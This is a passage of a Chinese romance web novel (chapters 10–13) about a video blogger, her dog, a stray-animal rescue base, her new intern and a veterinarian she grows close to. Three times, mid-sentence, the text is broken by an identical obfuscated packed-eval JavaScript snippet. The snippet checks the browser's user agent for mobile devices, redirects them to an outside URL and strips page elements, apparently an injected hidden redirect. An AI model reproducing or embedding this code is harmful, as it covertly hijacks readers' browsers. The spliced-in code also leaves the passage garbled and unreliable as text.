还有一个大爷,头发全白了,坐在犬舍角落的马扎上,怀里抱着一只三条腿的猫。他也不跟别人说话,就那么坐着,慢慢给猫梳毛。珊姐压低声音说,那是孙大爷,老伴走了,儿女在外地,他一个人住。来基地不干活,就坐那儿陪猫。猫也认他,他一坐下,好几只猫就围过来了。 加上张爷和娟姐,正好六个人。 李朝穗一个一个跟他们打了招呼,娟姨和珊姐的性格很像,最是热情,其他几人因为还不怎么熟悉的原因没说几句就回到位置上了。 娟姨拉着她到树荫底下,聊起救助的事,“我跟各个社区的物业和居委会都加了微信。他们那边一有居民反映流浪猫狗的事,就发消息给我。我再把信息转到群里,谁有空谁去抓。” “抓回来之后呢?”李朝穗问。 “看情况。”李姐翻开文件夹给她看,里面密密麻麻记着日期、地点、动物特征、处理结果,“受伤的就送医院,健康的就做绝育,然后带回基地养着。” 李朝穗接过文件夹翻了翻,每一页都写得很工整,日期从几个月前一直记到现在。 “群里有二十多个人。”珊姐在旁边说,“大部分是志愿者,有空的就接单。远的去不了,近的顺路就去。有时候半夜接到消息,第二天一早也有人去。” 李朝穗点了点头,把文件夹还给李姐。 “我能加那个群吗?”她问。 珊姐愣了一下,然后笑了,笑得很大声,“当然能!”她掏出手机,把李朝穗拉进了一个叫“安心庇护”的群聊,趁娟姨不注意凑到她身边小声说:“你别听她说的那么有条理,这群就是个摆设。她啊,有消息都是直接给我打电话,我有空的话就我去,没空就到处找人,乱的很。” 李朝穗“哦”了一声,微张着嘴拉长最后的音调,随后摆出一个“OK”手势表示明白。 10. 工作日常 第十章工作日常 从基地出来后,李朝穗就在思考存在的问题。信息不同步、救助人员固定、领养工作困难……问题一个个摆在眼前,解决方案也随之在她脑海里诞生。 “珊姐,我有个想法……”李朝穗和岁岁到家后,先把心里的想法告知珊姐。珊姐听到她的话,开心的不得了,放言全权交给她管理。 免费的东西通常也是最贵的。李朝穗自己知道这些想法要想变成一个成熟的方案还需要打磨、试验,更别提除了书面上的困难,还有人与人关系的挑战。 她想起一个人。 徐安。 那个发私信找实习的学妹。 李朝穗上次给她发了联系方式,当天就收到了好友申请,通过之后,对面像是早有准备一般,将自己的简历、作品集一股脑全发了过来。她抽空看了,专业能力确实不错。 “徐安你好呀!上次你说找实习,我这边有一个机会不知道你感不感兴趣……”消息成功发送出去,她心里的忐忑更甚,只好把心思放在杂事上,度过时间不多的今天。 - 志愿者群里安静了三天。 李朝穗每天刷几次,界面依旧停留在系统昵称介绍上,没人说话,也没人发新的求助。 她把手机扣在桌上,把注意力放回手头的工作上。 家居广告的样品昨天到了,一个乳白色的沙发,摆在客厅正中间。品牌方是国内一个新锐家居牌子,设计简洁。李朝穗把三脚架架好,相机装上,调了角度按下录制键,按照安排好的内容开启一天的拍摄。 下午两点,视频剪完了。她检查了三遍,确定没有漏掉品牌方的要求,然后点了发布。没过多久,广告商的尾款到账了,等把手头上的两个广告谈妥,之后应该可以和赵茜茜聊聊涨工资的事情。 三点整,她准时打开腾讯会议,和徐安约好的线上面试不能迟到了。 没过多久,屏幕上出现一张年轻的脸。徐安比照片里看起来更小一些,圆脸,眼睛又大又亮,头发扎成丸子头,穿着一件浅蓝色的衬衫。 “学、学姐好。”她的声音带着一丝明显的颤抖,看起来有些紧张。 “你好,徐安。”李朝穗笑了一下,尽量让自己的语气听起来轻松,“不用太紧张,我们就随便聊聊。” 徐安点了点头,深吸了一口气,肩膀往下沉了沉。 李朝穗问了几个常规问题,她的作品集里面有她大学期间拍的几条短视频、一个微电影,还有部分账号运营的分析报告。 “你那个宠物博主的账号分析我看了,”李朝穗说,“写得挺好的。” 徐安的眼睛亮了一下,嘴角压不住地上扬:“真的吗?” “真的。”李朝穗翻了一页笔记本,“对于岁岁安这个账号,你觉得面向的受众是哪些?” 徐安的坐姿微微直了直,“我觉得首先是18岁到35岁的年轻女性群体,学姐的账号里有很多旅游攻略、穿搭技巧、生活日常,画面氛围感很强。其次是养宠爱宠群体,视频岁岁也占了很大一部分,性格和外表的反差,人宠互动温馨,都能吸引来这部分观众。” 不知道她事先有没有做过功课,临时提问能回答成这样,已经可以了。李朝穗点点头,接着问起她对薪资待遇的期望。 “我对实习工资没什么特别的要求,”徐安的语速比刚才快了一点,“按照市面上一般的标准就行,我主要是想有实践的机会。” 李朝穗没追问,直接说了自己的方案,“第一个月,我会按照市面上的实习工资给你,也就是3000。住宿的话,如果你不介意,可以先住在我这里。” 徐安愣住了,她眨了眨眼,“这不好吧……”。 “我租的是一个独栋小院,有空的房间。你来了先住下,等找到合适的房子再搬。” 徐安的眼眶红了一下,感激的说道:“谢谢学姐!我会尽快找房子的,不会给你添麻烦。” “不急。”李朝穗说,“你定了车票跟我说,我去接你。” “我明天就可以过去,车票我已经看好了。” 李朝穗有些诧异,笑了一下问道:“就这么信任我啊?” 徐安先是连连摆手,反应过来后又点头,“不是,是……我相信学姐的为人。”她的话语无伦次的,但李朝穗也听懂了。 “好,明天见。” 挂了视频,李朝穗靠在椅背上,盯着天花板发了几秒呆。岁岁走过来,把脑袋搁在她膝盖上,尾巴一摇一摇的。 晚饭李朝穗自己煮面,她不太会做饭,但煮面是拿手的,各种面条信手拈来。旁边灶眼上还放着一个蒸锅,里面红红绿绿的,是给岁岁做的狗饭。 两碗都端上桌,她坐一边,岁岁趴在旁边,碗放在地上。岁岁埋头吃,吃得吧唧吧唧的,偶尔抬头看她一眼。 她刚挑起一筷子面,手机响了,来电显示“珊姐”。 “小穗啊,你现在有空吗?”珊姐的声音听起来有些着急。 “有的,怎么了?” “我们之前盯了好久的一只流浪狗,出现在祥和家园附近。娟姨给我打电话说已经找到它了,让我过去。我在店里走不开啊,你能过去一趟吗?” 李朝穗放下筷子,把嘴里的食物嚼了两下咽下去,“怎么没见她发在志愿者群里啊?” “哎呦,她有事都是直接打给我的,群对她来说就是个摆设。”珊姐的声音里带着点无奈。 李朝穗看了一眼碗里的面,红油浮在汤面上,葱花还绿着,心底的小人在短短几秒的时间里打了一架,胜负分明。 “好,我现在马上过去。” 挂了电话,她往嘴里塞了两大口面,红油沾到嘴角,扯了张纸巾胡乱擦了擦。钥匙、手机、外套,穿鞋的时候差点踩到岁岁的尾巴。 她租的车今天早上刚提回来,就停在小院的车库里,没想到这么快就派上用场。 “你在家待着,别乱跑。” 岁岁站在门口,歪着头看她,嘴里还嚼着食物。 半小时后,李朝穗的车停在祥和家园门口。娟姨已经到了,站在门卫室旁边,脚边放着铁笼子、防咬手套、捕网,还有一个塑料袋包着的打包盒。 李朝穗摇下车窗,娟姨冲她招手,嗓门不小:“小穗啊,开进去开进去,我打好招呼了。”门卫配合的把栏杆抬起。 她找了个靠近停车场的空位停好,下了车,娟姨已经把装备拎过来了。 “小黑狗就在停车场里头,”娟姨一边走一边比划,“左腿瘸的,一直拖着走。特别怕人,看见人就躲车底下。今天社区的人说它好像被什么东西咬了,脖子上有伤,一直在流血。” 李朝穗从口袋里掏出一个巴掌大的记录仪,问:“娟姨,我能拍视频记录一下吗?” “拍呗,正好留个记录。” 她把记录仪夹在衣领上,确保摄像头对着正前方,能拍到第一视角全过程。 停车场不大,停着二十几辆车,横七竖八的。天色已经暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495834|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,路灯还没亮,车与车之间的缝隙里全是灰蒙蒙的影子。 据帮忙留意的社区阿姨说,狗就躲在最后一排的车下面。 李朝穗跟着娟姨弯下腰,贴着地面慢慢往里面挪。因为姿势容易重心不稳,她们干脆用膝盖抵住地面,水泥地表面粗糙得很,硌得慌,可两人好像没感觉似的,一身不吭,注意力全在找狗身上。 最里面那辆白色面包车底下,蜷着一团黑乎乎的东西。 李朝穗眯着眼看了几秒,才看清那是一只狗。小型犬,情况和娟姨说的一样,腿伤着不敢接触地面,脖子上还有块深色的痕迹,不知道是泥还是血。 小狗注意到有人靠近,喉咙里发出一连串低沉的呜呜声,身体往后缩,贴住了车轮,一副警觉的样子。 娟姨招呼着李朝穗停下来,从袋子里掏出一个小保鲜盒,打开盖子,里面装着煮好的鸡胸肉和肉罐头,她递给李朝穗,“你放过去,它之前见过我,我靠近它会跑。你面生,它可能没那么怕。” 李朝穗接过盒子,小心翼翼往里靠近了两步,蹲下来。小黑狗的眼睛在暗处发亮,盯着她,呜呜声更大了。她没再往前,只是把盒子放在地上,往前推了推,然后慢慢退开。 小黑狗没动。 她退到离它四五步远的地方,和娟姨并排蹲着。人离开了,它应该会没那么紧张,那么香的食物,没几个流浪狗顶得住。 和她猜想的一样,过了大概两分钟,小黑狗动了。它先是抬起头,鼻子朝盒子的方向嗅了嗅,慢慢离近了一点。突然间停了一下,四处张望,确定没动静了,就再往前挪一点。最后把脑袋伸进盒子里,大咬一口肉丝,又立马缩回角落。 它开始吃了。 娟姨看着它的动作,脸上露出自信的笑。她戴上一只手套,递给李朝穗一只手套,又抄起捕网,压低声音对她说:“你从那边绕过去,别离太近,就守着出口。我这边动手,它要是往你那边跑,你帮我挡一下就行,别硬抓。” 李朝穗点了点头,猫着腰绕到面包车的另一侧。 小黑狗还在吃,喉咙里发出满足的哼哼声,丝毫不知道针对它的天罗地网早已布下。 娟姨慢慢站起来,捕网举在半空中,脚步很轻很慢,像猫一样往前挪。 一步、两步…… 小黑狗抬起头,发现情况不对立马要跑。 娟姨一个箭步上前,网兜猛地罩下去,精准地扣在小黑狗身上。小黑狗惨叫一声,在网里疯狂挣扎,四条腿乱蹬,嘴咬住网绳死命扯。 “快快快,笼子!”娟姨压住网口,把它牢牢困住。 李朝穗抓起旁边的铁笼子,打开递到她面前,娟姨连网带狗一起提起来,往笼口一塞,成功捕获一只小流浪。 小黑狗在笼子里撞来撞去,嚎叫个不停。 娟姨看它这样,忍不住叹气,“应该是被人吓过,这反应也正常。走吧,先带它去医院。” 笼子放在后备箱,娟姨上车前把吃的放进笼里,不停说话安抚它:“不怕不怕,咱去治病,治好了就不疼了,治好了就跟我们回去过好日子,不怕啊……”不知道是食物的影响,还是娟姨的语言安抚起了作用,小黑狗真的不闹了。 昏暗的环境下,李朝穗借助车内顶灯从后视镜看着这一幕,娟姨的温声细语勾起她的回忆。 奶奶还在的时候,好像也是这么说话的,一遍又一遍重复着,一遍又一遍安抚着,她的声音仿佛是天然的安神乐,将李朝穗人生的恐惧全都驱散。 11. 新伙伴 第十一章新伙伴 小黑狗被送进许琮诊室的时候,他正在写病历。 困在笼子里的小狗一看换了个环境,又害怕得吠叫,可当许琮真正用手把它拎出来的时候,就只会害怕的发抖。 说到底还是虚张声势。 “脖子上的伤需要清创缝合。左腿的伤是旧伤,骨头已经自己长上了,动手术意义不大。以后就是瘸着走,不影响活。” 娟姨连连点头:“能活着就行。” 许琮看了一下墙上的时钟,说:“娟姨,你先回去吧,这边我来处理。” 娟姨没推脱,跟李朝穗打了个招呼就走了,留下小姑娘在原地不知所措。 她要不要也走呢? 算了吧,留下来帮帮忙也好,许医生今天看起来很累的样子。 李朝穗试探性开口:“你今天值班?” “嗯。”许琮把狗放在处置台上,用一只手按住,另一只手去拿碘伏棉球,“晚上没什么事,正好盯着它。” 不知道是谁的肚子不合时宜的叫了起来,反正不是脸红的像柿子一样的李朝穗。 许琮不动声色地观察她,今天穿的也比较随性,看样子是临时被叫出来的,肚子“咕噜噜”的那么大声,应该是没吃饱饭。 他迅速处理完小狗脖子上的伤口,说来也奇怪,怎么所有动物到了许琮手上都那么听话。 动物也怕医生的嘛。 “走吧。” 李朝穗“啊”了一声,没头没尾的一句话,让她有些摸不着头脑。“好,那许医生,我就先走了,辛苦你了……”说完就要转身离去。 下一秒被许琮叫住,“我们去吃饭吧,正好我也饿了,不然肚子老叫。” 他的白大褂不知道什么时候已经脱下,先一步往外走。 走出几步才听到身后传来女孩缓慢的脚步声。 他的嘴角勾勒出一抹笑,不用想都知道她现在是什么表情。 还是上次的小馆子,从远处就听到客人闲谈的说笑声。 大厅都被坐满了,老板娘不好意思地笑了笑,在外面架了张桌子给他们。 “你想吃什么?” 李朝穗扫了一眼菜单,想起他先前说过的话,“吃面吧,你常吃的面。” 不远处的老板娘听到了,边往里走边喊:“两碗鳝丝面!” 许琮扯了张纸巾在擦泛着油亮的桌面,“上次去基地感觉怎么样?” “挺好的,大家都很热情。” 说完心里就忍不住反驳自己,怎么用词那么满。 她的计划好像还没跟许琮说过呢,就简单描述了一下。 许琮听完认可地点头,“点子都很好,互联网这方面你是专家,都听你的。” “量力而行,别给自己太大压力。” 男人的目光不加掩饰的落在她脸上,直直看过去好像能感受到温度一般,烫的得让人慌乱挪开。 两碗热腾腾的面此时上桌,老板娘弯腰的身影正好挡住了李朝穗摸脸的动作。 好奇怪啊,怎么每次跟他待在一起都会脸红。 许琮拆了两双一次性筷子,把其中一双递到她面前。 李朝穗还没从刚才的热意中脱身,又忙着接筷子,一个不注意就抓到了男人的手,相碰的那一刻触电般收回。 指尖在他的手背划过,肌肤表面微弱的痒,好似深入到他的内里,勾出不属于初冬的燥热。 许琮缓缓收回手,强迫自己的注意力放在食物上。 两个人吃的出奇的安静,一句话也没再聊。 这时节不太适合吃面,容易让人心猿意马。 第二天下午,李朝穗去车站接徐安。 出站口的显示屏上,那趟车已经到站了,人流从里面涌出来,拖行李箱的、抱孩子的、背着大包小包的,脚步匆匆。 她踮起脚往里看,眼花缭乱的,没找到人。 刚准备低头给她发去消息,就看到不远处一个穿着亮黄色卫衣的女孩,冲她挥舞着手臂,“学姐!学姐!我在这!” 李朝穗一眼就看见了她。 她好特别,笑得像一颗刚从土里刨出来的、沾着新鲜阳光的红薯。 红薯?意识到自己这奇怪的比喻,李朝穗也忍不住笑了出来。 她学着徐安的样子,朝她招手,不过动作要含蓄得多。 徐安拖着行李箱跑过来,在李朝穗面前停下来,喘着气说:“学姐!终于见到你了!” “累不累?” “不累!三个小时高铁,睡了一觉就到了。”徐安不加掩饰的盯着她,“学姐,你比视频里还好看!” “人群中最漂亮的就是你。” 李朝穗愣了一下,头一回被这样夸,她还真有点不太习惯 “……走吧,车在外面。” 回去的路上,徐安一直在说话。 在她眼里,似乎什么事情都很有趣。话与话之间,几乎没有间隙,像一条水源充足的小溪,源源不断的往外冒。 李朝穗专心开车,时不时回应几句。她觉得自己像一块海绵,正在被徐安的话泡涨。 “学姐你平时一个人住会不会觉得无聊啊?”徐安忽然问。 “不会,有岁岁。” “岁岁!对!岁岁!”徐安拍了一下手,“我太想见它了!我看视频里它特别聪明,还会自己开门,是真的吗?” “真的,但只会在门没锁死的时候用鼻子顶开。” “天哪,太厉害了……”徐安看着外面掠过的梧桐树,“云栖真好看,树好多,空气也好。” 徐安是真的活泼开朗,和她这种闷闷的性格完全不同。 原本安静的环境,因为她的到来都变得热闹起来。 到了憧憬花园,李朝穗把车停好。徐安下了车,站在院子外面,仰头看了一圈,发出一声感叹。 “这也太漂亮了吧!” 岁岁已经听到动静了,在屋里叫了一声。 李朝穗打开门,岁岁冲出来,绕着徐安的腿转了两圈,仰着脑袋闻她。 “它好乖啊。”徐安站在原地,想摸又不敢摸,“学姐,我能摸摸它吗?” “摸吧,它喜欢你的,不过要注意……” 提醒还没说完呢,徐安刚摸上岁岁的脑袋,就被它给扑倒了。 岁岁还用满是舌头在她身上不停的舔。 徐安招架不住,直接坐倒在地,“学姐学姐,救命啊啊啊啊啊!” 她刚刚想说的就是这个,岁岁是个人来疯,要小心被扑倒。 她无奈的笑了笑,“岁岁,别闹了。” 岁岁识相的退后,这语气它再熟悉不过,感觉下一秒主人的巴掌就要呼上来了。 “进来吧。” 徐安拖着行李箱一路从郁郁葱葱的小院走进客厅,在玄关换鞋的时候忍不住环顾四周。 客厅的光线极好,薄纱制的窗帘随风飘动,空气中弥漫着淡淡的香味。 李朝穗带她看了房间,“卫生间在走廊左手边,洗衣机在阳台,厨房的东西你随便用。”她站在门口,手扶着门框,“有什么需要的跟我说。” 徐安眼眶红红的,“真的太感谢学姐了,我都不知道该怎么办了。”话说着说着,鼻头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495835|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一酸,眼泪就要掉下来。 “我一定会好好珍惜的,你放心,我在卫生方面没问题,也很勤快……” 李朝穗拍拍她的肩膀,安慰道:“没事,我相信你。” 徐安想到什么,突然蹲下来,从箱子里掏出一个大袋子,递给李朝穗,“对了学姐,这个给你。我家自己做的腊肠,我妈说让你尝尝。” 李朝穗接过来,袋子沉甸甸的,能闻到一股烟熏的香味,是家的味道。 简单吃过晚饭,两个人坐到电脑桌前。李朝穗把记录仪里的素材导出来,进入工作状态。 徐安也打开电脑,按照刚刚讨论的思路,开始粗剪视频。李朝穗坐在旁边,两人时不时讨论。 一个小时后,第一版已经出来。 画面里,由一些空镜过渡到李朝穗和娟姨抓狗的过程,结尾是基地的画面,部分动作配上了生动的音效,整体节奏松弛有度。 “怎么样?”徐安问,语气里有一点紧张。 “很好,比我想象中要流畅。” 徐安的眼睛弯成了月牙形,嘴角压都压不住。 两个人又花了两个小时把视频细化了一下,最后由李朝穗完成配音解说,录了好几遍最后才满意的停手。 视频发出去,今天的工作算是完成了。李朝穗起身去洗漱,回来的时候看见徐安还坐在电脑前,一脸专注的盯着手机屏幕。 “怎么样了?” 徐安把手机举起来,眼睛瞪得很大:“学姐,爆了!” “有好多骂人的。” 李朝穗接过手机,短短一小时播放量已经破了十万,还在往上涨。评论区的数字一直在跳,刷新一下多几十条。 她往下划,大部分是善意。 “这只狗好可怜,幸好遇到你们。” “基地在哪里?我也想去做志愿者。” “领养信息在哪里看?” 也有不友好的。 “抓个狗而已,至于拍得这么煽情吗?” “作秀吧,现在博主都靠这个博眼球了。” “有没有人管管?这种野狗抓走了是不是要安乐死?” 李朝穗盯着那些恶评看了几秒,把手机还给徐安。 “不用理,正常的。” 徐安皱着脸,气鼓鼓地在手机上敲敲打打。 李朝穗探头看了一眼,徐安正在评论区与人对线:“小姐姐,我们真的在救助,你可以来基地看看。”后面还加了一个死亡微笑。 “你早点睡,明天带你去基地转转。” “好!”徐安利落的答应,但打字的动作没停,几乎每条恶评底下都回复了。 李朝穗回到自己房间,岁岁也跟进来,躺进自己的小窝,四仰八叉的睡。 她拿起床头充电的手机,打开抖音。播放量已经破了二十万,粉丝涨了三千多,很多人问起安心基地的具体情况,她想要的效果已经达到了。 后台的消息提示不断,她点进去查看,有个比较显眼的空白号引起她的注意,没有头像,昵称也是系统自动生成的乱码。 屏幕里,一连串的点赞收藏都来自这个账号。 那天吃饭的时候,许琮主动问起她的账号,难不成是他吗? 她思来想去,觉得是许琮的可能性比较大,截了张图发给他。 “许医生,这是你的账号吗?” 消息发出去以后很久没得到回复,李朝穗索性不等了,躺下睡觉。 黑暗中,手机屏幕自动亮起,上面赫然显示着许琮发来的消息。 “不是我的账号,是关雨景的,怎么了?” 12. 挡箭牌 第十二章挡箭牌 早上一起床,李朝穗就看到他的消息。 关雨景?那个说话没把门的关雨景?他会一个一个视频点赞? 她不知道的是,手机那头的许琮,此时正坐在办公室的椅子上,盯着两人的聊天界面,不断刷新。 岁岁安:“这样啊,那麻烦你跟关医生说一下,谢谢他对我的认可,但以后尽量不要连赞,容易限流。【爱心】” 许琮皱了皱眉。 连赞会限流?他从来没听过这种说法。 为了验证是否有这个问题,他打开手机里的AI软件,输入问题:“短视频平台连赞会限流吗?” 可没想到,他没有提前设置关闭语音朗读。下一秒机械的女声在安静的办公室里响起来,清晰无比。 “好的,我将回答你的问题。关于连赞是否会导致限流,目前没有官方明确说明,但部分用户反馈,短时间内大量点赞可能被系统判定为异常行为……” 许琮手忙脚乱地去按音量键,手指在侧边摸了两次才摸到位置,用力按到底。声音没了,但已经来不及了。 某个耳朵尖的人已经闻声过来了。 “哟,许医生。” 关雨景不知道什么时候已经站在门口了,吹着口哨,“许医生,有什么解决不了的问题可以问我呀,我可比AI管用多了。” 许琮白了他一眼,迅速把手机黑屏。 “没事。” “没事?”关雨景走进来,一屁股坐在办公桌角上,一脸八卦地笑“你在我眼里就是透明的,屁股一撅我就知道……” 话没说完,许琮站起来,一肘子怼在他肋骨上,刚好让他把后半句咽了回去。然后又伸手给他拍背,一下比一下力气大,像是要把他骨头弄散架似的。 “别老是朝穗姐朝穗姐的叫,”许琮的语气很平淡,手上的力道一点没减,“你和她很熟吗?” 关雨景被他拍得往前踉跄了一步,扶着桌子站稳,回头瞪他:“你下手也太重了吧?” 许琮已经拿起桌上的记录表,往外走了。 “你去哪?”关雨景在身后喊。 “查房。” 关雨景揉着被拍疼的肩膀,看着许琮的背影消失在走廊尽头,嘴里嘟囔了一句:“嘴硬。” _ 视频的数据还在涨。 李朝穗盯着后台的数字看了一会儿,屏幕的界面来回切换,一个叫“安心庇护”的新账号就注册好了。 头像是基地顶上的招牌,简介写的是:云栖市安心流浪动物救助基地,记录每一只毛孩子的重生。 第二天一早,李朝穗开车带着徐安出门。 第一站是基地,第二站是医院。徐安一路上都在举着手机拍拍拍,坐在副驾驶上,比她这个司机还忙。 “你录这些干嘛?” “做素材库呀。”徐安把手机放下来,转过头看她,“我研究了同类型的救助账号,除了救助过程,还会发一些基地日常的视频,里面就有很多空镜用来过渡。” “你倒是想得远。” “虽然基地账号目前的风格还没有形成,但是学姐你之后的视频肯定需要。云栖的风景这么美,随手一拍就是氛围感十足的画面,多拍拍肯定没错。” 徐安说得很认真,她忽然觉得,让徐安来云栖,可能是她最近做的一个正确决定。 到了医院,李朝穗把车停好,带着徐安走进大厅。前台小姑娘已经认识她了,或者说,整个医院都已经认识她了,小姑娘笑着跟她打了招呼。 “许医生在吗?”李朝穗问。 “许医生在做手术,大型骨科手术,估计还要一两个小时。”前台指了指走廊方向,“关医生在,要不要叫他?” 说时迟,那时快,关雨景像装有雷达一样,有情况都是第一时间响应。 “朝穗姐!” 关雨景从后方楼梯走下来,笑眯眯的迎上来,又看见她旁边的徐安,目光稍顿了一下。 “这位是?” “我学妹,徐安。”李朝穗侧了侧身,“现在帮我一起做账号。” “你好。”徐安笑着点了点头。 关雨景上下打量了她一圈,目光最后落在她脸上,嘴巴动了动,想说什么又咽回去了。他转头看向李朝穗:“朝穗姐,你来找老许的?他今天上午排了一台手术,得等。” “不是找他。”李朝穗说,“我想找一下院长,问问他能不能在医院拍视频。以后视频的内容可能会涉及到治疗过程,需要医院的许可。” 关雨景一听这话,把手上的病历本往腋下一夹,站直了身子,清了清嗓子。 “拍视频啊,”他的声音忽然正经了不少,“我完全没问题!我的绝世美貌一定会让你的视频大爆!” 李朝穗愣住了,她和关雨景接触过几次,知道他跳脱,但没想到能跳脱到这个程度。当着面说自己“绝世美貌”的,她活这么大还是第一次见。 关雨景还在继续说,语速越来越快:“你哪天要拍提前跟我说一声,我打扮得帅一点。要不要我现在给你录一段自我介绍?我可以从大学专业开始讲,讲到我为什么选择动物医学……” 徐安在旁边捂住了嘴,露出的眼睛弯成了月牙形,整个人憋笑憋得浑身发抖。李朝穗也忍不住了,嘴角往上翘,又不好意思笑出声,脸上的表情变得很微妙。 关雨景注意到两个人的反应,他停下来,咳了一声。 “笑什么笑,”他嘟囔了一句,看向徐安,“朝穗姐旁边这位,你怎么能随意笑别人啊?” 徐安深吸一口气,把笑意压下去,抹了一下眼角笑出来的泪花,一本正经地说:“不好意思啊帅哥,我这不是笑你,我是在想,你要是出镜了,我们的视频播放量不得翻十倍?压力太大了,我替你紧张呢。” 听着她的话,关雨景嘴角慢慢翘起来,“你挺会说话的啊。” “一般一般。”徐安摆了摆手,“主要是有感而发。” 李朝穗站在旁边,看着这两个人一来一回,忽然觉得自己有点多余。她咳了一声,把话题拉回来。 “那麻烦你帮我跟院长说一声?我去楼上找他。” “我帮你问问。”关雨景掏出手机,当着她的面打了个电话,几句话确认了吴院长在楼上。 挂了电话,他冲李朝穗扬了扬下巴:“吴院长在三楼办公室,你直接上去就行。” “谢谢。”李朝穗转身往楼梯走,走了两步又停下来,回头看关雨景,“对了,关医生,之前你给那些视频点赞的事,谢谢你。” 关雨景一时间没反应过来她说的是什么,满脸都写着“懵”。 “但是以后尽量不要连赞,”李朝穗说,“连赞容易限流。” 关雨景的脑袋瓜飞速运转,许琮、AI、点赞、限流……细碎的信息在这一刻拼凑成完整的事件,他明白了,控制不住地笑出声,随后又敛下神色。 “明白明白。”他连连点头,语气格外真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495836|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚,“朝穗姐你放心,我以后注意。” 李朝穗觉得他的反应有点奇怪,但没多想,转身上楼了,徐安留在一楼等她。 吴院长是个五十来岁的中年人,戴着金丝眼镜,说话慢条斯理的。李朝穗说明来意之后,他几乎没有犹豫就答应了。 “拍视频是好事。”吴院长坐在办公桌后面,双手交叠放在桌上,“既能帮基地宣传,也能给医院带来知名度。你随便拍,只要不打扰正常诊疗就行。” “谢谢吴院长。” “不用谢。许琮跟我提过你,说你是个有想法的姑娘。” 李朝穗愣了一下,没接话。 从院长办公室出来,她带着徐安在医院里转了一圈,和她讲起医院的大致情况,以及他们和基地的合作。 “学姐,关医生和许医生关系好吗?”徐安忽然问。 “应该是,他们两是朋友,关雨景还是许医生的师弟。” 徐安回应了一声,没再继续追问。从李朝穗的口中她知道许医生是个成熟稳重的人,完全不像是会和关雨景这性格的人交朋友的样子。刚刚在楼下还追着她问东问西的,感觉有点缺心眼。 事先问了前台昨天来的小黑狗在哪个区住院,李朝穗带着徐安往那走去。 住院区在走廊尽头,很安静,空气中都是消毒水的味道,和人类医院也没太大差别。到她们找到对应的笼子,小小的门前贴着独属于它的身份标签:黑色串串,公,约一岁半。 李朝穗弯下腰,隔着笼子看着它。 小黑狗缩在笼子最里面,底下垫着一块旧毯子,脖子上的伤已经被缝好了,套着个小型的伊丽莎白圈。它看到有人靠近,没有像之前那样发出警告,反而是乖乖缩在笼子里,抬眼望着她们。 “它叫啥?”徐安歪着头往里看,手指在栏杆上点点,发出清脆的响声,似乎想以此来吸引它的注意。 “还没起名字。” “那先叫小黑?” 李朝穗看了她一眼,徐安往后缩了缩,眨眨眼,一脸无辜。 “你起名字的水平,跟岁岁差不多。” “岁岁又不会起名字。”徐安说完愣了一下,立即反应过来,嗔怒道:“学姐,你变了。” 李朝穗笑笑没说话,她自己也发现了,和徐安相处仅仅一天半,自己却好像已经在她面前放松了。 徐安没去在意李朝穗的反应,而是拿起手机记录小黑狗的日常,“回去可以发一条动态,告诉大家小黑的情况,让关心它的人放心。” 过了一会儿,她们站起来往外走,经过大厅的时候,李朝穗听见门口传来一阵嘈杂的声音。 一个十一二岁的小女孩抱着一条狗冲进来,身后跟着一个差不多大的同伴。小女孩的头发散了,脸上还有未干的泪痕,校服袖子上沾了血。 她怀里抱着的是比格犬,黄白色,耳朵耷拉着,左前腿以一个不正常的角度垂着,浑身灰扑扑的,奇怪的是它一声不吭,也不挣扎。 “医生!医生!”小女孩的声音又尖又哑,“它被人用扫把打了,求求你们救救它!” 前台小姑娘立刻按了呼叫铃,关雨景从诊室里跑出来,脖子上还挂着听诊器。他大致检查了一下,拉着小女孩进自己的诊室。 李朝穗和徐安站在不远处,看着他们进入诊室,心里猜测着那只比格的情况。徐安观察到她的眼神,在旁边小声说:“学姐,要不要拍?” 她摇了摇头,“算了,我们就不去打扰了。” 13. 实验品 第十三章试验品 回去的路上,徐安忽然说要在菜市场停一下。 “学姐,你让我住在你家已经很麻烦你了”她解开安全带,笑盈盈地看着李朝穗说:“昨天刚到也找不到机会表示,今天我来买菜,做一顿大餐。” “你会做?” “当然。”徐安下了车,弯腰透过车窗看她,“学姐你就等着吃吧。” 李朝穗把车停在菜市场门口的空地上,没跟进去。她靠在驾驶座上,透过车窗看外面的街景。 已经入冬了,云栖的傍晚来得早,菜市场门口人来人往,有满载而归买完菜回家的,也有为了讲价使劲磨着嘴皮的,还有四处张望寻找着某个菜品的。 熟食店的香味传来,不必多闻,肚子里的馋虫早就被勾出来了。 她脑海里浮现出和许琮一起吃饭的情景,搭在腿上的指尖微微蜷起。 李朝穗还记得上次自己的手指不小心碰到他,抬眼对上的炽热目光。 只是这么回想着,讨嫌的热气又开始上升。 